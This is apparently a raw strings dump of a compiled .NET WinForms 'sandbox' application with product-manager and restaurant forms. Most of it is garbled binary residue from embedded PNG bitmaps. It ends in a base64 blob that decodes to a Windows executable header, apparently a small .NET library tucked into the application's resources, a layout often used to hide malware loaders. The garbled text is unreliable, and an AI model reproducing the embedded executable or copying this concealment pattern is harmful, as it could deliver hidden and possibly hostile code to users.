WinformsSandbox.Models.Interfaces
WinformsSandbox.ViewModels.Interfaces
System.Runtime.InteropServices
System.Runtime.CompilerServices
System.Resources
ProductsManager.EditDeleteAddForm.resources
ProductsManager.MainForm.resources
Restaurant.OrderForm.resources
ProductsManager.AddEditForm.resources
ProductsManager.ShowForm.resources
WinformsSandbox.Properties.Resources.resources
WinformsSandbox.Views.GroupsView.resources
DebuggingModes
AcceptChanges
WinformsSandbox.Properties
get_Tables
EnableVisualStyles
WinformsSandbox.Models.Classes
WinformsSandbox.ViewModels.Classes
get_DataBindings
Settings
ListChangedEventArgs
PropertyChangedEventArgs
DataGridViewCellEventArgs
Equals
get_ProductDetails
set_ProductDetails
labelProductDetails
textBoxProductDetails
get_Cells
get_Controls
get_Items
get_OrderItems
set_OrderItems
get_MenuItems
set_MenuItems
System.Windows.Forms
Contains
get_Columns
set_AutoGenerateColumns
set_AutoScaleDimensions
System.Collections
groupBoxButtons
IGroups
get_Groups
set_Groups
_groups
set_ScrollBars
SystemColors
labelProducts
components
cbMenus
InitializeAvailableMenus
_availableMenus
btnClearMenus
WinformsSandbox.Views
get_Rows
set_AllowUserToAddRows
get_SelectedRows
set_AllowUserToDeleteRows
set_AllowUserToResizeRows
Concat
Format
GetObject
set_MultiSelect
Product
ProductDirDataSet
get_Highlight
buttonEdit
EndInit
BeginInit
get_StorageUnit
set_StorageUnit
GraphicsUnit
buttonExit
get_Default
SetCompatibleTextRenderingDefault
DialogResult
Restaurant
set_Alignment
DataGridViewContentAlignment
InitializeComponent
get_Current
Point
set_Font
get_Count
get_RowCount
Convert
RandomPersonSourceList
get_SelectedGroupBindingList
set_SelectedGroupBindingList
_selectedGroupBindingList
get_GroupsBindingList
set_GroupsBindingList
_groupsBindingList
SuspendLayout
ResumeLayout
PerformLayout
MoveNext
get_Text
set_Text
get_ControlText
set_HeaderText
get_HighlightText
get_WindowText
labelSku
textBoxSku
btnAddMenu
btnRemoveMenu
DataGridView
GroupsView
DataRow
DataGridViewRow
get_Window
buttonShow
get_Index
set_TabIndex
get_SelectedIndex
get_RowIndex
rowIndex
index
MessageBox
set_MaximizeBox
ComboBox
GroupBox
ListBox
TextBox
WinformsSandbox
get_Assembly
set_ReadOnly
RestaurantLibrary
get_Category
set_Category
labelCategory
textBoxCategory
op_Inequality
_sortProperty
WrapNonExceptionThrows
Winform Sandbox
Copyright
2017 - 2020
$D7AFF0CC-F635-4140-A9B4-0FEA7D211F60
1.98.4.0
3System.Resources.Tools.StronglyTypedResourceBuilder
16.0.0.0
KMicrosoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator
16.1.0.0
lSystem.Resources.ResourceReader, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
PADPADP
lSystem.Resources.ResourceReader, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
PADPADP
lSystem.Resources.ResourceReader, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
PADPADP
lSystem.Resources.ResourceReader, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
PADPADP
lSystem.Resources.ResourceReader, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
hSystem.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aPADPAD
QSystem.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Drawing.Bitmap
IDATx^
BTT[(
;R&?N
}gt(V
pv0-u
,l2;b
hy>?/
.rveC
yE(;3s
<E"{Cs[?
gc.]-
mPJ;pfZm
FZc#c
9O/td
toTD#
!gMY
\4'V$
kHa|o
&kX6A
&i*Yk
?Dg]6
8JlT|w
HKRD%'
-HH|)
j &-o
X,$6BtR
H5Q}=
GO8vk
c#c":Q"
t.67?
oF%O#
]_&n;MT
ghnM~
\N?mN
sx<j=
[zRKGJ
f_dZAs
rKeEM
<o<YOT
r}J%'
@&}I`
0L*bS
)zwXr
e7>u/
D._"PT
w/!e`+a?W
0D'&:
[5gDR2
IO%^W
c*+;5
4bJS'
/'jL}.o,
,F]!J
51fNJ
/g5K2
XVrhF!
EU3r?
JW;!+-eU
XBh|Oa?/b
C[F"/
}glC^
N(}kR
l:.6$
@"MD[
<C%*9KE0G
x#YZI
M5hUW
B[~F312
Pj?Ub=$
mV3n8O"
.7z5c
^0a]W
mC\ghV
4q-G'>T
~K3mX
8Mkfj
J&W6'T7
8]F;!
lh:c)vo
TNYoe
Lu$"|
JQ/I'
}ri83
u2nuY
KKI5mD
fyW6L
|*fC/
vhW1z
L,mC=m
HI<gb
Dz]?L
B,J\GM
]s8|D
K6f/g
u*+nd
ycNcq
0yv+g&
rlU+E
|GBM?
ZE'2z<A~
{-)S+
K`?)y
fcPoW
Pv?Ek
M#aO$!wN
V1dC#^\z
^g-0vGg
7?[\g
;!?u1
"8=~1Im
Il.P23s
u{T&:
`bWJ}o[
8YGFZ-#a
kAl9;
B$Tt+
j;#67
`y|+[
Y+Y2'
K#+_)
/uE%/
4t>;[
ls4%?Q
F+'`;
GFKiv
x3;i=='
&4VjV!6
TT"7g
hV1Jm
PK_dy
`zM[v
5Atb"
nls;Q
`B6]"
g?g{;
q,Uv|
hrlEC
7~tIT
~59]$
$E&%Ww5Q
~^oZq\]
XFGY7
o$tXH~
;A';*
Zpm^&#
/2]fN
)N*$y
t^q~:
o_F62
``2A%et
>EY'h2
B3^Nb+s
Ae,^3
;X^JRRi
!fX=_
gXsg;C
bFIO#w
]Elno
hy<?*
o:SYl
j7[df
gf#u%
g:Ww
wclg,2r
/FukM
V|*7g
s8!M'
E&mDn
'K7SfrO
_kTix
eVlX6
Gn1lv
}j4Z1
bP+Lf
&hyb0
LO9-7l
-*|,Z
[y?s1!K
^u%m#s('B
8XIeh
dgqgVK
2o0QA
^J>Zs
"%0TI
=OnY 1
l,jK3
~wa??6
'#S]N
xQAEv
xTY2bN
^12]J
rn,t!{
6vdcD
yRt|>
#Fzq&
]TC&Pm
O-6AS
R6ZR+
/Q~';%[
lmc_6
qgP/U
h=~0W
eRW=$
DfR{O
htM9Z
+:*gl
YqJ`M
z:sIW
NeO3u
j4;l)
^wCxw
M7I;N
!TEfb
;or15
[2}N$C
6n.J`
w{;1;
orG);
l,C63
C3E&gOe
'Xd"c
6<M;J
S+q[sI
&{]%wf
t2:9'y
$n.+;
`,%n9
}eH+crG
?C<DA
`SA_V
h?JRRA
}]HNVt\
Its"g
}Z)|+
%ObUj4V
|6pcL0V
Tk%0e
Opa.K5#1O
uQ?UE
.$7.EsG
/:9|(X
h=f'_
[7;lw
Q#Sr'
db]&%
`A]B(u
=B^3]
6d_+gV
Flo_I
M3^L(f
b}]=?7m
,`kzk%
L|jg~
zC9!r36
%Fbz|
_cbYso
^Fx[k
&wrk*
f=siRRNZ
BbxPIE
C2d+m
^!<if
.:m!H1cmE*'
]v:*z
+{g]g
x:/Pa
Kx#/B
qA03;
"r[te
"6<1f
Y:O~s
RIE8f
dsCWNX
R5IR=
{?E$i
F:v*gI
NvNZ'v
kqaD}
Ne.C)
eYYxi
r7"z_AW
?t8~5
`&m6.f
]MGb6
618^/
iC%^C>
Rj{{
B,RQ!6
XGZ-VPY
cWmeE
P!jKT
"5!}y
)FEEh
.~^Ne
LF}!_
Ut1q:IH#
=5|JbWs
VMiPSD
wrkX8
1Id"K
qhKF{
!W:miEo
grM4h
i}Y_d
xN.&7
'2i%z
%|x2S-
19#d8
(u\=j
|.)K)
jLPn%Xn
^uR5+,
5!"pNXB
>M%*:
3E<nup
!ifR&
H,jQkQ
+D%Px
5'M49%
~:>c{r.
qRw2a
`Z]\D
fFHWV
BLRQ!
(GVD)
/}t /
,m<+gp;
ut3$Y
$7:KT
tCgQ-v
|PoE{
KvDq=
MJM/0
'K1|*
^E%Q;
N?|E9
Ga?m&/
s]8~~
^#</v
E$*Doe6y
\<p>u
u]*JXS
zA$%o
uMq6?
%3N0B
ws{rp
*#d<#F
q~E**Cs
K6av:x
USet6
qs4so%
4+Pctx1
iFV$[
:QS[P,
vRu,*
itPK tT,.
L,Ig3y
0BFv\3
'cxz.?
rV0B$\gR
x#S}g;8X
OGQf-i
1iL">
xb_g`b
o!vm[
@EE(5[
6&yLm'
?p\>VE%
Oc8j9?
v'1qj
y1'1[
vRoe.
l>S7r
%L4xH
"[P;c
d=%0\N
I[~cq
Hd1;8
MmJEF
5_Jsq~
d>k&t
sf<YZ
S>,2=
l'ML'S
7t.~!
rbXg_l
"ikmb2%
5cSsg
"Uc8E
q xc$#
POdbA
nLZr#
%`pY*c
^Z-#qV
n%j1+
OD>v8N
yqt^2
_}q~7
1:Q;DF~
P[Ot<
\<pJL
E+Zl(#{u'b
v$c.g2u
+JWfcQ
WLh37*}
4TuLM
A38YU
FwgRe
JN_*`
muJO}!QT"
c.uUt)
5+GnA
|s?NW=k
8N#AS
k[c.^y
VuUsR
RxPz#
.]0%b
*]*/wD
kIuwe
33|L:6T
rNrVZ
y}yFZ
ku]xk
.e[[c
/jW>1b
nqF)Q!
cf/FEV
2B8VR
WNVk+Y
mQIxl
s9#6o
~=JEI
cKsSk
3c0-Z
E%x8s
]BXvz2o
VRc[s
'6}5c
N3b/Z
me97lD%`
afzL~
@$X~Ty$
-"h?y
}t%`Dw.5
%oE&f:9
Ya2T$
]f=Pw
>Gd`d>
fl%G;
H53ln
/NWqV
.^\j6
nG/"'m<~
;13}h
N(E5:
H<+:p
ke`lZ
Led^,
0qDCT
t``?m
bN)ob
0|s3F
1j"8G
7Xo/&/
F)Ccu
S:=oL
3a-*i
E&fa(
)y*[.
$B-%*DoF
]frU[
ncj#4i
EOe`o
nU%o}
I\6kBW
S}ws{
}&4;J
DFe1CS_
z2%VAC
b~KVJ
4u=:B
Ev:UI
db'X,
DV>&LMd
!'x>?{
@jH;.}
TCOP_
Iq34u
k?Fps
ngD^_W,
B~k~,
qV<x6b
\}8e{^T
kN`;,
9h5.e
K(~za
T^i,fp
8f?}"
:q~My
`-G<j
FatZd
YeMk#%
FH)Cz
]s",D&;c
Xl"%S4
_aicZ
~?h,^
BrV[nk
y%A\3
:S4sH
!?2-f
Yy`$w
r3-D%
+PJ"4
0 zO3
.8g(~
{D&=X5
[T4Mc
$h*gz~
5KX?*N
W2Rbq|>
N(W4d
=*pkm
x~`/#
B6FLg
74_;W
XkS<8
ZsEp,
O.O6C'p
jLo2L
C8L,#
uJ2W^?
g'{6Mr
+egnv
||OkLzF
q5aX.
z=B1H:F
|gDX[
a"Q!>
xgJ%`*
?Ofo[
3Ffa[
?N(0pp$n
yk2yo0
cmd`L
xb#NM
j~Q!n
7\cTX
\MP-J
h936|
Vl7\E
FIM=4Ww$
UB^jV
20z\}
fooQ"?
#L)m.
4!_|Z
Eh5#B7
)O/7G
}G1.n
'*_d3
eWd6wJ
R>AI3W
JAf4)
>yQj"
q[kcg
'~.DU
NZb|)
xP~=Z
uD>by
K?N&+
CY8;3
Rh3j0
xoRn~
1I$dH
dF<"=
cR":3
E4}3[
>f&vG
Nn "7
J3mL[
{<A+d7O
0!6a-
G(}2Y
Nodrv:
IDATh<
n]tG\
._/.1
tb#lr
-X=k+
Hb|Ep\
Kb,u)
{>#&4
gcvd71'
i</jG
B\)I!
&!UE2c+{
IjeKY_g>I
nTzeSgG
G}eAT$
cRs{0
aRB$z
;KL/c
\pPPv
` *aYJP
#W~g^
wn'sS
`K9y=
BHkGFN
G[e0?
/Qoo&
^DCWQ
3+JIn
usYsY
XTNwh
3vA2M
$%9"LO
s(|g#
s1~-<
Da_I^
gVxkR
MqjL4
&>mjR/
atv>G
I!nGJ"
Qz#LTR
Doo{vk
u~8-u
#K1Z|
}vr}O
)d`*&
9P1H~
Pvg/MT
Zz#l 6~
TG?Z\
UM"p)
d6V(X
V{w`^
Nk,8.
qol'3
b7YJ1J5
y40w#
A"u(V8
4O<HS
'O3%e
<Z<A9SG
$yKoQ
YIR|+
bTb8f
-M[15v
R.IaZ
\D'9e3
6fR'u4*
E2+.g
\}TMS
_z#,(
?ke-F8
4~BN`
(zSoG
m_'.e
GktKR
zX=|*
a^L;n
dF\";
!t>3X
1.Me[
9{q[t
eZ&tc
EQ##.4
}]Q9D
Fr3ja
pbqi7a
4A{yon
w9G>Yp
'-SBU
J(I~h
8DNN1
_$D\H
<b3DQ%
t}|'zr
J$QwY
09;-h}
a`*1vD
vlG'^T
{0ZTB
z*M(w
d)DK[I
Q{Ul3n
+it\k
l(^)*q
A/#&>:C
>l&}n
k='7h0
I!JRv
OG=r.
+(?h$
{U Uz
lMcxrf
1b$`LQ
kP4AV
[->.EK
?~b]"
g/ZScH*I
m~.zE6tK
S`[Kb
tNoVl
#W4E%f
U/vM)@
%`PaJ
u:1EK
B}I<K
r59CV
{4^o
':lo$
n_&qBz
I5;R2D
N_iAF
v2zI>[,
LzH7m
XIcqp#
6gIp<
c6i$c
JUw"K
dD1=<=
s>4ay
F4nD{S[
^?Lf[
JD&~
TY*w,Fu
1za?8^u6
'+d`+G
k8j*%B
[Q4\$[
#ZU^Es
'uu8_y
cMjVqn
f>4Z
bD4YI-
>Zu:kO7
Y'u|]
X6e)'
ve7Fv
v{.(5
s8ZAV
@7ITw"
{gb}w
`VonG
{Y[!?
<,tP}XF
r;Y?U
vIcTu
tp+B]-
Oi.wl
gL{YQ0t
^V[_&
'6b*#
j}Ag_=V
1vh~#
t3Prc
J`ac~
hIVSw
x,.^!A7
><3mi
0^-.A&{
_d_7?
k&W?E
uI&nY'q
#?Rn]
4Wxic
s\?*D
-~_kq
__t%2u
c^t*a
w8W=J|
l<jJbu
3vI2MD
3`w]o
Z-n:l
0y}$S
-o5&^
y'UNm
W-d`ga
%OfHQ
?TaIC
Bmn.2
vuE%"
y9+>,"msW~.
b5/Gg
dq-g9
+6OQ?
%xc#J/
HVxS^
#)20V{
;/`dJ,)/
._CY>
E09`.
(T=ix
{BRL(
dhuw.\m
m<k!JK}+
;>1vs.m
5#";q
1+7\%
t~fc'
hd#Q!
`{w=GG
VyFXRxO
9h+f_
8T 2omk
H]iFX9
4Z,7+l
4H/ C
]'h<+A<
Ff3<s&
g0#CD
DoSwakyP
mw+.=j
"c}u:
edSfK
}gOd3rJ
SI_`*2Q
i,2qO
MWk(#z
<~2.ESI
;Q&y3s
P]~oYF
2q~$*D
$%`i
t!W%S
"R<x[
SpI[O
Y=<:&
WB^Wd
"~-8E
x^^\@
E&{;DOf
?-.-"`
7'SDF
E9)Q!*
9wD&T2
TLl<I_
f(q,+
b{~$S#
k^seT;
]kpmG
$*Dmq
DexjP
$`'Kd
KIe4P
"ZRFT
?q~w)&0r
6x;Xq
jSgN<
&'Kb&
||=:n?
g|H?[
UbDuY6
]_'sd
!s14;I
;Es[d
dvyE~7
h8N%fx
6bz`1
`T'&4
~=EPt
Hc;W/
_#u%^
#wP9O-
piACn{7Eg
`_OQBn
zG2:`#g
.1!R9
?M hM
x9r]$
hPnKa
U=P8L
wzco"*
IA|7s
!W29Ur
?. 7B
CAZWw
1Am(|#u
h=vKm
:^#92n
9|"sSF
XDiS<
nF9s/3
k*7+|
t-sbA`O
G&p_w2_
gLi+:
?Ek1]D9
q"*lc
^20&S!.
mlx?^
gz}XHN}
'S!>4
gTkHT
TDW{SJ=
p~g^A
lJmza8~
5IKXj
!RGAG
;:qC:
}$*Bm>
!u,m'x
i5%VQ
3j,^b
9~g.?
M,-D&g
"u<Mf
_dR_#
nLNX)
F/NY.g
bm[&&
=*h~q
0OVoAO
|`].U=a
#-z1>
MmJFvm
I8.Of
6sd`a
^20VWd
#g%`N
lQ qJg<
'Q}n#
z)QAZr
4#,{x
{{d3Wd
0%Q!~
-iRsZ
\Mt_{
{3zT~b
mWP7x
ghlsg
s!:<z
y jwN
%{&Y0
K,"=:
WO:/3
^>D]j
20r'GT
X>JkMlc
.V:|Y4Z
D;Fc>;
9r(*j
58%w\e
n=%SV
..AQh
1dt6e^
Gp}{Z
"5|~7
J.voMQ
t!/2y
\T23"
G~GmKW
QdvzFA
< ?Zd
r|h`>eB
0|v*xm
B3l/I.
t;n_=
@@v+B}b
;g+pk
A"k[
#q\m>
]m(=aD=
Q,E=*
r{Y^=
`OO-|
`~>2b
3Q5Ke
CrxuC
K%WTIq
NymK*
{9RaE
Dn| S
Y[aKt
h0F<j^
+'IjV
Alx&k[
F%v,]|
er1mW
4vt=M
Ek|k.m
uw\YQY
lidw4
|~b$`P!
)cG-oL
$nWaabC
:nEh/
]$sf?
^1tskAz
k#fwn
;n$*DU
eL\Z]
KlAVX
yevZ>b
_TYwV
~o oX
#!!u1
L&/`}
5~"v>#0
n71vY
OT*iFX.)
K$uUU
cw]@5r
P=5Ov
'=v14
'QI*HR
NqDo~%f
52%IT
v5`cY
LDoKk
Bl[ .
%`p>w
s=|1G
1^McX
/Rybp_
w4QW|
}%Q!.
7HNL%
...\vHev
OjVxuD
"ce`/
M*iR8
%a|4N
uWPzt
F_;3A-
_W$"Ya
OeVo?KeS3
:2o-3gKT
[|d>Z
UMfqD
^WP9:
B*^}$
[zlp!H
NkS=a#
-1._(
?gkP=>
7Sj]3By
GB>J8
s#j1O
t79-w
e\<Nn
KAHI=+]
H%;{%
>KTzF
oNQvO>
#297t
H7*YZ
Ql1dLl8
*XA3q
$v];1u
(4]QL
|%'b)
ow`g]
wApQ*
dj32Vd
U5yFX
js)E#+3
(>,u#&c
,i$u|
U%-m?
G;$#E
Scu!_
mSp]a
r:.}N
Tx_Ews
B\"Q!~
zRM<y6
WUc;p+Q
ZeE|^f
yFXpN
HacN!
hEFR,3?
D&=^A
FRi>K
8[uv1O
F5D&n
g)g/?
<Q*LI
l<2%':
q4/L<bi
!5+,9
6(v_`
&X\8sQ
'0(AC
8y^E7
ZaLijJd
d',4gpj?
n\pmM
7se'Zr
*WWNt
w<t*fG
xlNt$
\,w17
H.sE*
N-a^\*
fA}o4K~
vl^xJ
AG'+*
M0_&2
YN:=2
yf:8x_
QAh)u
OW;k~OW
SMdBZ
b*2lc
0Ne.&4
Enzuj
el%#>
7^d`z
n;Z0\
.]Ose}
>6Rr"
2:W8q'
b.}8ED
:Y^/N
"Tu|E&
H$D%"u
Em]"4
1zI4vQ
$~UiNN
d+2pk
)S$TH!
1)ev4sO
xD$`l!
3#i08
'seA:
O15-ezU8
Dex(c
h?H&9
70xGs
][F5^
3Z%.X
]WWQf
i;GsQT7
s9,ML
C>uW]%
_MCCw
C3%m.zs#
aMQ\Ka
xjJtz
wOcY5
qEU}:
:qv$7
,<CNrp
pfxg*#{
@b$>Z
F:.t
A*jlP
F=g33
euB2k
$?(e|
+gcvF
[1neDd
!)QSi
[G2B.
L,6YP
]z'fm\%
-\Lgi
IDATo?t
>bRr.
ww^5J"
Dzp%^zI\
=?Za":i
zbva-
QDVxq
j-MF^ I
]+Jn_f
lh%S1
}vg4E
dSK&|
,&rbG
|iqW^
ND!~m
^/_rF
#?S5w
a4t-EC
Cwbh]"
`EeO,%*
g >'mi
vhMNfw
5yXbet
mn -D
:0x^&
F-b~a
|$`g!
;?rzc6
NZo'f
/S9j9
83e(%_E%
W=mI,
Z](aC
B'}kn
KfI,n
<q$S!
R<,O|
7T`0F
KianL
+3~7-B
k|2?S3
p<Gm%5
XU{3#
kK.-N
vc-b+
^x{vgV|.y+B
%YQ>s+
2kD&e
%S{E)
*s+g:
'S1f4uGW0
Z+O|y
-Q!vt
-9q0LT
M(Q|!
!j{z9I
$>Gfa
/-]6P
_wl>G
K12mMS
Mj`VpX
<RD%zT
y,Stgq
AoTx>
0kmMN
`)-z5%
M#e2{
=,~`c{
?=kZLz
^Q`UJ
.N]%`
ON$^aD
}OSr<
1&ML)
17.D/
;\)u&
Oqh\k
+8j8N
mcnq>
Y9(b:
Wg;zy=
EB?J|
H|t"Y
\iXaO
WQSTR
z>_8YhO
<E$QQ
YBlKw
[MZomLlNM&O|
-Q!^7
1qxl\L
HBv7d`.4E
C[H56
VOh^.
";."ye
w.EQs)
]nrXu
I`.y*
]HP/d
E;'Q!
'W^/#^
DW4'ym0m
Y8u(s
#V}4!iz
R}C_4
C<;jo
vRGrU
Il/S)
1ctt2n
lWq);
l)-?f
2:tsdY
3KGN`
:l|S
'~4Eez
YhZ}Go
?_>O>I
q\<Bz
g|eK\&4b
Hh ]e>
(uUtUd
StFd1
_y9z/
siM ;D
PvgoePB2
H,b1S
L#%`)2
7G1)p>gDUv1GUb
-8_nE
^kIhA0
y|TFa
CL^]c
$`lgD/
2V/OgN
[EBo74
tace4Y
4m%0v
{>hi22m/-
9<y!!
1y}_.u
#(JUI\
oI&fn
5?E 89h
^,PR!
zOUjV
|rt6m
|IBZ;R
&+(f'
.mD&8H
62:E(
|/iRX9
>W~fB
]$`B+
02WFE
HUR!~
GqkA(s
m0n&c
0P6+,
kr0>*
B|%Q!F
-qWd3Z
%+[p&E
H\,#1
9T-Jd
m)JKW
fqz7jK>
FwzCK
?H3'c
Fjj"c#:
o2Nw%3
i^(N5~
h+Q)^
_wq0vo
=mpm$6
B~ce
8?w00
|n7_E`
)?XuCM
TnW.3!_I
=6" +
Lw'>uz
VAmia
}Ah|+
v])$RU
7gUwa
/*DM%
aQh)%_\
(&iKT
t9#c~
"qsCz$
;k_gS_+
1Wv|-
9l1-j
Q2Od+
=ei+Y$
:o>IT
X*D)U;O
bSUM|
/q_Ig
Q&3t7
7?5J/
CzN~LB
Y?f1=[
H<b>q
vQuNd
oEf5!
~t^xrE{:j
>2O<^
M|h_a
@{%f&
hvs,-
|4R8c
Qcgx.G
*J*Iq~
v6#vl
N$.>K_
&bx[Z
JOexE
i2V(8tZ
}Q?>7Z
NU`r{*
2Od%r
VU1m}
6;:`9?S
#Tv0dl
wb:LO
M$[-'
s-v^o
^%S{6gk
ed}V0
!R&[?
*e:_Lp
Fci_>M
~OnD:e
>]0/>
pq[.>
i\=61
-#GZR<!
P7lBy
2zf?c
6LH>E=
vi2~m
}/&U{
7v8Ysq
i%5+,=ZD
|ZLN#fO
8qojI
>vL]Nh
6{D&)
,uPs5
Bsrj9
@3^tXB
^zOGK
[7qz+2i
#yXbF
OSVaq?
fsOfG
gomg6
`f6{F
xD;0G
lf$+V
sChy^
w",j4
3QTP7%y
hagEh
>/Pww
?;n{q\
d84%,
+z(PohA
To'vB*c/
27LvT
.8;;`
rKV[.
lY/"=
b~vWn/
e\.A-:P:t5
q7';@
<[TN'g#
ywC>=
Gr${%
6IIf[W
Q$QAZ
g8f!g%*
xz(7B
:M$0*`U
Y8~SReW
Po`<v
<OVNf
anH!o
$0xD9
S?o2[
|C7~]
fvg((
VFBG=
\5#ltO
*21?=3>
-++Cy,k
3E:?*`
5&m7g
6 j}wV
O':6k-
55s>;
l3S0Y{
3~jHT
fbL3T
^$Q[u
~m/q*>Z
Z^_lI
cHEe7u
MTQ!>
[pnu=
-ptPu,
##e6~
"&,t'f
G?V9X`1'
SbOo>
pg}qk
R~C8
33(zlN
c+E&f
Vb5_`
E**C;
PGdOq
Wq[r^
.WjU_G
5G6p3sL
IWQ64 I
e#qIQ
~c+bU
Ew2**
PC{}9G
/;L_]+
D<"S(
EP-[f
wcO#%#N
L$`%<
hza:=2
9:9XY|
?4h)*
!f*>Z
;(|=x
kF(p3
S8qt3
jq~r<
G*i7q:
Gpg\C
GJ& 7n
=Q^[o
+'3Lf
t^&UJ
+QQ!>
KdBV&
?zD[&
E&#3%
Pzl&@
L$$n4
q=-&e`
CwwrE&
D/ cT07
dW/?n
Ncq`>&?KP
Rq)$`n2
"s<B$*
BwJN?
R!FGR}k
yyq)0
k[y38
fdLkI
jN*`(
u)ZnL
pt[o~6
*n\>B
r.A9C
a}.7
FwW/~Xw
#?^@a
eOwmz
{R5q+
z)LpkR
m/u<Y
XA''w
R5+L-
58,.dQ
@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